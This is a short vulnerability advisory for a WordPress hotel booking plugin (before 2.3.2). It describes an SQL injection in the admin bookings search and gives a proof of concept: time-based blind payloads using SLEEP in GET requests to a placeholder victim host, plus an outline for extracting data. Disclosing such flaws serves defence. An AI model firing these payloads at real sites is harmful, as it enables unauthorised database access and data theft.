WP Hotel Booking < 2.3.2 – Hotel Manager+ SQL Injection via Booking List Search | CVE 2026-15153

Description

The plugin does not sanitise and escape a search parameter on an administrative listing before using it in a SQL query, allowing users holding the plugin's booking-management roles to perform SQL injection attacks.

Proof of Concept

Prerequisites: log in as a user holding the plugin's Hotel Manager or Booking Editor
role (admin-assigned booking-management roles); at least one booking with order items
must exist so the search filter's JOINs engage.

The Bookings admin list passes the `s` (search) value unsanitised into a LIKE clause.
Time-based blind injection:

Baseline : GET https://victim.example/wp-admin/edit.php?post_type=hb_booking&s=John
Control  : GET https://victim.example/wp-admin/edit.php?post_type=hb_booking&s=zz123%' OR SLEEP(0)-- -
Injection: GET https://victim.example/wp-admin/edit.php?post_type=hb_booking&s=zz123%' OR SLEEP(3)-- -

The Injection request delays the response (the admin list runs the filter through
several status-count queries, multiplying the delay); the Control does not. Boolean/
blind extraction follows via `OR SLEEP((<cond>)*N)` with a unique `s` prefix.
Fixed in 2.3.2 via esc_like() + prepare().